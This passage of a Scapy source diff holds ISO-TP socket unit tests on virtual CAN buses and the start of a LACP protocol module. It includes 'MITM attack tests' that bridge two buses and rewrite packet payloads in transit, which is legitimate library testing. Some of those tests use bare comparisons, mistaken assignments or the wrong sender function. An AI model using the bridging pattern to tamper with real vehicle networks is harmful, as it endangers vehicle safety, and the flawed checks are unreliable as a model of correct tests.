sid=0x641, did=0x241) as s: + try: + s.send(isotp) + except Scapy_Exception as ex: + exception = ex + +thread.join() + +assert(exception is not None) +print(exception) +assert(str(exception) == "TX state was reset due to timeout") + + += Check if reception of an overflow FC will make a send fail +~ linux needs_root + +exception = None +isotp = ISOTP(data=b"\xa5" * 120) +test_sem = threading.Semaphore(0) +evt = threading.Event() + +def acker(): + cans = new_can_socket(iface0) + evt.set() + can = cans.recv() + cans.send(CAN(identifier = 0x241, data=dhex("32 00 00"))) + +thread = Thread(target=acker) +thread.start() +evt.wait() + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + try: + s.send(isotp) + except Scapy_Exception as ex: + exception = ex + +thread.join() + +assert(exception is not None) +print(exception) +assert(str(exception) == "Overflow happened at the receiver side") + + += Close the Socket +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + s.close() + ++ More complex operations + += ISOTPSoftSocket sr1 +~ needs_root linux + +evt = threading.Event() +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') +rx2 = None + +def sender(): + global evt, rx2, msg + with ISOTPSoftSocket(new_can_socket(iface0), 0x123, 0x321) as sock: + evt.wait() + rx2 = sock.sr1(msg, timeout=1, verbose=True) + +txThread = threading.Thread(target=sender) +txThread.start() + +with ISOTPSoftSocket(new_can_socket(iface0), 0x321, 0x123) as sock: + evt.set() + rx = sock.recv() + sock.send(msg) + sent = True + +txThread.join() + +assert(rx == msg) +assert(sent) +assert(rx2 is not None) +assert(rx2 == msg) + += ISOTPSoftSocket sr1 and ISOTP test vice versa +~ needs_root linux + +rx2 = None +sent = False +evt = threading.Event() +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') + +with ISOTPSoftSocket(new_can_socket0(), 0x321, 0x123) as rxSock, \ + ISOTPSoftSocket(new_can_socket0(), 0x123, 0x321) as txSock: + def receiver(): + global rx2, sent + evt.set() + rx2 = rxSock.sniff(count=1) + rxSock.send(msg) + sent = True + rxThread = threading.Thread(target=receiver, name="receiver") + rxThread.start() + evt.wait() + rx = txSock.sr1(msg, timeout=1,verbose=True) + rxThread.join() + +assert(rx is not None) +assert(rx == msg) +assert(len(rx2) == 1) +assert(rx2[0] == msg) +assert(sent) + += ISOTPSoftSocket sniff +~ needs_root linux + +evt = threading.Event() +succ = False + +def receiver(): + global evt, succ, rx + with ISOTPSoftSocket(new_can_socket0(), 0x321, 0x123) as sock: + evt.set() + rx = sock.sniff(count=5, timeout=1) + succ = True + +rxThread = threading.Thread(target=receiver) +rxThread.start() +evt.wait() + +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') +with ISOTPSoftSocket(new_can_socket0(), 0x123, 0x321) as sock: + msg.data += b'0' + sock.send(msg) + msg.data += b'1' + sock.send(msg) + msg.data += b'2' + sock.send(msg) + msg.data += b'3' + sock.send(msg) + msg.data += b'4' + sock.send(msg) + +rxThread.join() +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') +msg.data += b'0' +assert(rx[0] == msg) +msg.data += b'1' +assert(rx[1] == msg) +msg.data += b'2' +assert(rx[2] == msg) +msg.data += b'3' +assert(rx[3] == msg) +msg.data += b'4' +assert(rx[4] == msg) +assert(succ) + ++ ISOTPSoftSocket MITM attack tests + += bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package forwarding vcan1 +~ linux needs_root + +drain_bus(iface0) +drain_bus(iface1) + +packet = ISOTP('Request') +succ = False + +with ISOTPSoftSocket(new_can_socket0(), sid=0x241, did=0x641) as isoTpSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x641, did=0x241) as isoTpSocket1, \ + ISOTPSoftSocket(new_can_socket0(), sid=0x641, did=0x241) as bSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x241, did=0x641) as bSocket1: + evt = threading.Event() + def forwarding(pkt): + global forwarded + forwarded += 1 + return pkt + def bridge(): + global forwarded, succ + forwarded = 0 + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, + started_callback=evt.set) + succ = True + threadBridge = threading.Thread(target=bridge) + threadBridge.start() + evt.wait() + packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=lambda: isoTpSocket0.send(packet)) + threadBridge.join() + +assert forwarded == 1 +assert len(packetsVCan1) == 1 +assert succ + +drain_bus(iface0) +drain_bus(iface1) + += bridge and sniff with isotp soft sockets and multiple long packets +~ linux needs_root + +drain_bus(iface0) +drain_bus(iface1) + +packet = ISOTP('RequestASDF1234567890') +N = 3 +T = 3 + +succ = False +with ISOTPSoftSocket(new_can_socket0(), sid=0x241, did=0x641) as isoTpSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x641, did=0x241) as isoTpSocket1, \ + ISOTPSoftSocket(new_can_socket0(), sid=0x641, did=0x241) as bSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x241, did=0x641) as bSocket1: + evt = threading.Event() + def forwarding(pkt): + global forwarded + forwarded += 1 + return pkt + def bridge(): + global forwarded, succ + forwarded = 0 + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, + timeout=T, count=N, started_callback=evt.set) + succ = True + def sendpkts(): + for i in range(N): + isoTpSocket0.send(packet) + threadBridge = threading.Thread(target=bridge) + threadBridge.start() + evt.wait() + packetsVCan1 = isoTpSocket1.sniff(timeout=T, count=N, started_callback=sendpkts) + print("forwarded: %d" % forwarded) + print("len(packetsVCan1): %d" % len(packetsVCan1)) + threadBridge.join() + +assert forwarded == N +assert len(packetsVCan1) == N +assert succ + +drain_bus(iface0) +drain_bus(iface1) + += bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package change vcan1 +~ linux needs_root + + +drain_bus(iface0) +drain_bus(iface1) + +packet = ISOTP('Request') +succ = False +with ISOTPSoftSocket(new_can_socket0(), sid=0x241, did=0x641) as isoTpSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x641, did=0x241) as isoTpSocket1, \ + ISOTPSoftSocket(new_can_socket0(), sid=0x641, did=0x241) as bSocket0, \ + ISOTPSoftSocket(new_can_socket1(), sid=0x241, did=0x641) as bSocket1: + evt = threading.Event() + def forwarding(pkt): + pkt.data = 'changed' + return pkt + def bridge(): + global succ + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1, + started_callback=evt.set) + succ = True + threadBridge = threading.Thread(target=bridge) + threadBridge.start() + evt.wait() + packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=lambda: isoTpSocket0.send(packet)) + threadBridge.join() + +assert len(packetsVCan1) == 1 +assert packetsVCan1[0].data == b'changed' +assert succ + +drain_bus(iface0) +drain_bus(iface1) + + += Two ISOTPSockets at the same time, sending and receiving +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241) as s1, \ + ISOTPSocket(new_can_socket0(), sid=0x241, did=0x641) as s2: + isotp = ISOTP(data=b"\x10\x25" * 43) + def sender(): + s2.send(isotp) + Thread(target=sender).start() + result = s1.recv() + +assert(result is not None) +result.show() +assert(result.data == isotp.data) + + += Two ISOTPSockets at the same time, multiple sends/receives +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241) as s1, \ + ISOTPSocket(new_can_socket0(), sid=0x241, did=0x641) as s2: + def sender(p): + s2.send(p) + for i in range(1, 40, 5): + isotp = ISOTP(data=bytearray(range(i, i * 2))) + Thread(target=sender, args=(isotp,)).start() + result = s1.recv() + assert (result is not None) + result.show() + assert (result.data == isotp.data) + + += Send a single frame ISOTP message with padding +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=True) as s: + cans = new_can_socket(iface0) + s.send(ISOTP(data=dhex("01"))) + res = cans.recv() + assert(res.length == 8) + + += Send a two-frame ISOTP message with padding +~ linux needs_root + +cans = new_can_socket(iface0) +acker_ready = threading.Event() +def acker(): + acks = new_can_socket(iface0) + acker_ready.set() + can = acks.recv() + acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) + +Thread(target=acker).start() +acker_ready.wait() +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=True) as s: + s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) + +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("10 08 01 02 03 04 05 06")) +can = cans.recv() +assert(can.identifier == 0x241) +assert(can.data == dhex("30 00 00")) +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("21 07 08 00 00 00 00 00")) + + += Receive a padded single frame ISOTP message with padding disabled +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=False) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) + res = s.recv() + assert(res.data == dhex("05 06")) + + += Receive a padded single frame ISOTP message with padding enabled +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=True) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) + res = s.recv() + assert(res.data == dhex("05 06")) + + += Receive a non-padded single frame ISOTP message with padding enabled +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=True) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) + res = s.recv() + assert(res.data == dhex("05 06")) + + += Receive a padded two-frame ISOTP message with padding enabled +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=True) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) + cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) + res = s.recv() + assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) + + += Receive a padded two-frame ISOTP message with padding disabled +~ linux needs_root + +with ISOTPSocket(new_can_socket0(), sid=0x641, did=0x241, padding=False) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) + cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) + res = s.recv() + res.show() + print(res.data) + print(raw(res)) + assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) + + ++ Compatibility with can-isotp linux kernel modules +~ linux needs_root + += Compatibility with isotpsend +exit_if_no_isotp_module() + +message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" + +with ISOTPSocket(new_can_socket0(), sid=0x642, did=0x242) as s: + cmd = "echo \"%s\" | isotpsend -s 242 -d 642 %s" % (message, iface0) + print(cmd) + r = subprocess.call(cmd, shell=True) + print("returncode is %d" % r) + assert(r == 0) + isotp = s.recv() + assert(isotp.data == dhex(message)) + + += Compatibility with isotpsend - extended addresses +exit_if_no_isotp_module() +message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" + +with ISOTPSocket(new_can_socket0(), sid=0x644, did=0x244, extended_addr=0xaa, extended_rx_addr=0xee) as s: + cmd = "echo \"%s\" | isotpsend -s 244 -d 644 %s -x ee:aa" % (message, iface0) + print(cmd) + r = subprocess.call(cmd, shell=True) + print("returncode is %d" % r) + assert(r == 0) + isotp = s.recv() + assert(isotp.data == dhex(message)) + + += Compatibility with isotprecv +exit_if_no_isotp_module() + +isotp = ISOTP(data=bytearray(range(1,20))) +cmd = "isotprecv -s 243 -d 643 -b 3 %s" % iface0 +print(cmd) +p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) +time.sleep(0.1) +with ISOTPSocket(new_can_socket0(), sid=0x643, did=0x243) as s: + s.send(isotp) + +threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()).start() # Timeout the receiver after 1 second +r = p.wait() +print("returncode is %d" % r) +assert(0 == r) + +result = None +for i in range(10): + time.sleep(0.1) + if p.poll() is not None: + result = p.stdout.readline().decode().strip() + break + +assert(result is not None) +print(result) +result_data = dhex(result) +assert(result_data == isotp.data) + + += Compatibility with isotprecv - extended addresses +exit_if_no_isotp_module() +isotp = ISOTP(data=bytearray(range(1,20))) +cmd = "isotprecv -s 245 -d 645 -b 3 %s -x ee:aa" % iface0 +print(cmd) +p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) +time.sleep(0.1) # Give some time for starting reception +with ISOTPSocket(new_can_socket0(), sid=0x645, did=0x245, extended_addr=0xaa, extended_rx_addr=0xee) as s: + s.send(isotp) + +threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()).start() # Timeout the receiver after 1 second +r = p.wait() +print("returncode is %d" % r) +assert(0 == r) + +result = None +for i in range(10): + time.sleep(0.1) + if p.poll() is not None: + result = p.stdout.readline().decode().strip() + break + +assert(result is not None) +print(result) +result_data = dhex(result) +assert(result_data == isotp.data) + + ++ ISOTPNativeSocket tests +~ python3_only linux needs_root + + += Configuration +~ conf python3_only linux + +conf.contribs['CANSocket'] = {'use-python-can': False} +from scapy.contrib.cansocket_native import * + + += Create ISOTP socket +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) + + += Send single frame ISOTP message +exit_if_no_isotp_module() +cans = CANSocket(iface0) +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +s.send(ISOTP(data=dhex("01 02 03 04 05"))) +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("05 01 02 03 04 05")) + + += Send two-frame ISOTP message +exit_if_no_isotp_module() +cans = CANSocket(iface0) +evt = threading.Event() +def acker(): + s = CANSocket(iface0) + evt.set() + can = s.recv() + s.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) + +Thread(target=acker).start() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +evt.wait() +s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) + +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("10 08 01 02 03 04 05 06")) +can = cans.recv() +assert(can.identifier == 0x241) +assert(can.data == dhex("30 00 00")) +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("21 07 08")) + + += Send a single frame ISOTP message with padding +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) +cans = CANSocket(iface0) +s.send(ISOTP(data=dhex("01"))) +res = cans.recv() +assert(res.length == 8) + + += Send a two-frame ISOTP message with padding +exit_if_no_isotp_module() +cans = CANSocket(iface0) +acker_ready = threading.Event() +def acker(): + acks = new_can_socket(iface0) + acker_ready.set() + can = acks.recv() + acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) + +Thread(target=acker).start() +acker_ready.wait() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) +s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("10 08 01 02 03 04 05 06")) +can = cans.recv() +assert(can.identifier == 0x241) +assert(can.data == dhex("30 00 00")) +can = cans.recv() +assert(can.identifier == 0x641) +assert(can.data == dhex("21 07 08 00 00 00 00 00")) + + += Receive a padded single frame ISOTP message with padding disabled +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=False) +cans = CANSocket(iface0) +cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) +res = s.recv() +assert(res.data == dhex("05 06")) + + += Receive a padded single frame ISOTP message with padding enabled +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) +cans = CANSocket(iface0) +cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) +res = s.recv() +assert(res.data == dhex("05 06")) + + += Receive a non-padded single frame ISOTP message with padding enabled +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) +cans = CANSocket(iface0) +cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) +res = s.recv() +assert(res.data == dhex("05 06")) + + += Receive a padded two-frame ISOTP message with padding enabled +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) +cans = CANSocket(iface0) +cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) +cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) +res = s.recv() +assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) + + += Receive a padded two-frame ISOTP message with padding disabled +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=False) +cans = CANSocket(iface0) +cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) +cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) +res = s.recv() +assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) + + += Receive a single frame ISOTP message +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +cans = CANSocket(iface0) +cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) +isotp = s.recv() +assert(isotp.data == dhex("01 02 03 04 05")) +assert(isotp.src == 0x641) +assert(isotp.dst == 0x241) +assert(isotp.exsrc == None) +assert(isotp.exdst == None) + + += Receive a single frame ISOTP message, with extended addressing +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, extended_addr=0xc0, extended_rx_addr=0xea) +cans = CANSocket(iface0) +cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) +isotp = s.recv() +assert(isotp.data == dhex("01 02 03 04 05")) +assert(isotp.src == 0x641) +assert(isotp.dst == 0x241) +assert(isotp.exsrc == 0xc0) +assert(isotp.exdst == 0xea) + + += Receive a two-frame ISOTP message +exit_if_no_isotp_module() +s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +cans = CANSocket(iface0) +cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) +cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) +isotp = s.recv() +assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) + += Receive a two-frame ISOTP message and test python with statement +exit_if_no_isotp_module() +with ISOTPNativeSocket(iface0, sid=0x641, did=0x241) as s: + cans = CANSocket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) + cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) + isotp = s.recv() + assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) + + += ISOTP Socket sr1 test +~ needs_root linux +exit_if_no_isotp_module() + +txSock = ISOTPNativeSocket(iface0, sid=0x123, did=0x321) +rxSock = CANSocket(iface0) +txmsg = ISOTP(b'\x11\x22\x33') +rx2 = None + +def sender(): + time.sleep(0.1) + global txmsg + global rx2 + rx2 = txSock.sr1(txmsg, timeout=1, verbose=True) + +def receiver(): + rx = rxSock.recv() + rxSock.send(CAN(identifier=0x321, length=4, data=b'\x03\x7f\x22\x33')) + expectedrx = CAN(identifier=0x123, length=4, data=b'\x03\x11\x22\x33') + assert(rx.length == expectedrx.length) + assert(rx.data == expectedrx.data) + assert(rx.identifier == expectedrx.identifier) + +txThread = threading.Thread(target=sender) +txThread.start() +receiver() +txThread.join() + +assert(rx2 is not None) +assert(rx2 == ISOTP(b'\x7f\x22\x33')) +assert(rx2.answers(txmsg)) + += ISOTP Socket sr1 and ISOTP test +~ needs_root linux +exit_if_no_isotp_module() + +txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) +rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') +rx2 = None + +def sender(): + time.sleep(0.1) + global rx2 + rx2 = txSock.sr1(msg, timeout=1, verbose=True) + +def receiver(): + global rx + rx = rxSock.recv() + rxSock.send(msg) + +txThread = threading.Thread(target=sender) +txThread.start() +receiver() +txThread.join() + +assert(rx == msg) +assert(rxSock.send(msg)) +assert(rx2 is not None) +assert(rx2 == msg) + += ISOTP Socket sr1 and ISOTP test vice versa +~ needs_root linux +exit_if_no_isotp_module() + +rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) +txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) + +msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') +def receiver(): + global rx2, sent + rx2 = rxSock.sniff(count=1, timeout=1) + sent = rxSock.send(msg) + +def sender(): + global rx + time.sleep(0.1) + rx = txSock.sr1(msg, timeout=1,verbose=True) + +rx2 = None +sent = False +rxThread = threading.Thread(target=receiver) +rxThread.start() +sender() +rxThread.join() + +assert(rx == msg) +assert(rx2[0] == msg) +assert(sent) + += ISOTP Socket sniff +~ needs_root linux +exit_if_no_isotp_module() + +rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) +txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) +succ = False + +def receiver(): + rx = rxSock.sniff(count=5, timeout=1) + msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') + msg.data += b'0' + assert(rx[0] == msg) + msg.data += b'1' + assert(rx[1] == msg) + msg.data += b'2' + assert(rx[2] == msg) + msg.data += b'3' + assert(rx[3] == msg) + msg.data += b'4' + assert(rx[4] == msg) + global succ + succ = True + +def sender(): + time.sleep(0.1) + msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') + msg.data += b'0' + assert(txSock.send(msg)) + msg.data += b'1' + assert(txSock.send(msg)) + msg.data += b'2' + assert(txSock.send(msg)) + msg.data += b'3' + assert(txSock.send(msg)) + msg.data += b'4' + assert(txSock.send(msg)) + +rxThread = threading.Thread(target=receiver) +rxThread.start() +sender() +rxThread.join() + +assert(succ) + ++ ISOTPNativeSocket MITM attack tests + += bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding vcan1 +~ python3_only linux needs_root +exit_if_no_isotp_module() + +isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) +isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) +bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + def forwarding(pkt): + return pkt + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=2, count=1, started_callback=bridgeStarted.set) + bSocket0.close() + bSocket1.close() + global bSucc + bSucc = True + +def RequestOnBus0(): + global rSucc + time.sleep(0.2) + packet = ISOTP('Request') + isoTpSocket0.send(packet) + rSucc = True + +bSucc = False +rSucc = False + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=RequestOnBus0) +bridgeStarted.wait() + +packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=threadSender.start) + +len(packetsVCan1) == 1 + +isoTpSocket0.close() +isoTpSocket1.close() + +threadSender.join() +threadBridge.join() + +assert(bSucc) +assert(rSucc) + += bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change to vcan1 +~ python3_only linux needs_root +exit_if_no_isotp_module() + +isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) +isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) +bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) + +bSucc = False +rSucc = False + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + global bSucc + def forwarding(pkt): + pkt.data = 'changed' + return pkt + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) + bSocket0.close() + bSocket1.close() + bSucc = True + +def RequestOnBus0(): + global rSucc + time.sleep(0.2) + packet = ISOTP('Request') + isoTpSocket0.send(packet) + rSucc = True + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=RequestOnBus0) +bridgeStarted.wait() +packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=threadSender.start) + +packetsVCan1[0].data = b'changed' +len(packetsVCan1) == 1 + +isoTpSocket0.close() +isoTpSocket1.close() + +threadSender.join() +threadBridge.join() + +assert(bSucc) +assert(rSucc) + += bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding in both directions +~ python3_only linux needs_root +exit_if_no_isotp_module() + +bSucc = False +rSucc = False + +isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) +isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) +bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + global bSucc + def forwarding(pkt): + return pkt + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) + bSocket0.close() + bSocket1.close() + bSucc = True + +def RequestBothVCans(): + global rSucc + time.sleep(0.2) + packetVcan0 = ISOTP('RequestVcan0') + packetVcan1 = ISOTP('RequestVcan1') + isoTpSocket0.send(packetVcan0) + isoTpSocket1.send(packetVcan1) + rSucc = True + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=RequestOnBus0) +bridgeStarted.wait() + +packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, started_callback=threadSender.start) +packetsVCan1 = isoTpSocket1.sniff(timeout=0.5) + +len(packetsVCan0) == 1 +len(packetsVCan1) == 1 + +isoTpSocket0.close() +isoTpSocket1.close() + +threadSender.join() +threadBridge.join() + +assert(bSucc) +assert(rSucc) + += bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change in both directions +~ python3_only linux needs_root +exit_if_no_isotp_module() + +bSucc = False +rSucc = False + +isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) +isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) +bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) +bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) + +bridgeStarted = threading.Event() +def bridge(): + global bridgeStarted + global bSucc + def forwarding(pkt): + pkt.data = 'changed' + return pkt + bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) + bSocket0.close() + bSocket1.close() + bSucc = True + +def RequestBothVCans(): + global rSucc + time.sleep(0.2) + packetVcan0 = ISOTP('RequestVcan0') + packetVcan1 = ISOTP('RequestVcan1') + isoTpSocket0.send(packetVcan0) + isoTpSocket1.send(packetVcan1) + rSucc = True + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=RequestBothVCans) +bridgeStarted.wait() + +packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, started_callback=threadSender.start) +packetsVCan1 = isoTpSocket1.sniff(timeout=0.5) + +packetsVCan0[0].data = b'changed' +len(packetsVCan0) == 1 +packetsVCan1[0].data = b'changed' +len(packetsVCan1) == 1 + +isoTpSocket0.close() +isoTpSocket1.close() + +threadSender.join() +threadBridge.join() + +assert(bSucc) +assert(rSucc) + ++ Cleanup + += Cleanup reference to ISOTPSoftSocket to let the thread end +s = None diff --git a/libs/scapy/contrib/lacp.py b/libs/scapy/contrib/lacp.py new file mode 100755 index 0000000..5b0d402 --- /dev/null +++ b/libs/scapy/contrib/lacp.py @@ -0,0 +1,101 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Link Aggregation Control Protocol (LACP) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteField, MACField, ShortField, ByteEnumField, IntField, XStrFixedLenField # noqa: E501 +from scapy.layers.l2 import Ether +from scapy.data import ETHER_TYPES + + +ETHER_TYPES['SlowProtocol'] = 0x8809 +SLOW_SUB_TYPES = { + 'Unused': 0, + 'LACP': 1, + 'Marker Protocol': 2, +} + + +class SlowProtocol(Packet): + name = "SlowProtocol" + fields_desc = [ByteEnumField("subtype", 0, SLOW_SUB_TYPES)] + + +bind_layers(Ether, SlowProtocol, type=0x8809, dst='01:80:c2:00:00:02') + + +class LACP(Packet): + name = "LACP" + deprecated_fields = { + "actor_port_numer": ("actor_port_number", "2.4.4"), + "partner_port_numer": ("partner_port_number", "2.4.4"), + "colletctor_reserved": ("collector_reserved", "2.4.4"), + } + fields_desc = [ + ByteField("version", 1), + ByteField("actor_type", 1), + ByteField("actor_length", 20), + ShortField("actor_system_priority", 0), + MACField("actor_system", None), + ShortField("actor_key", 0), 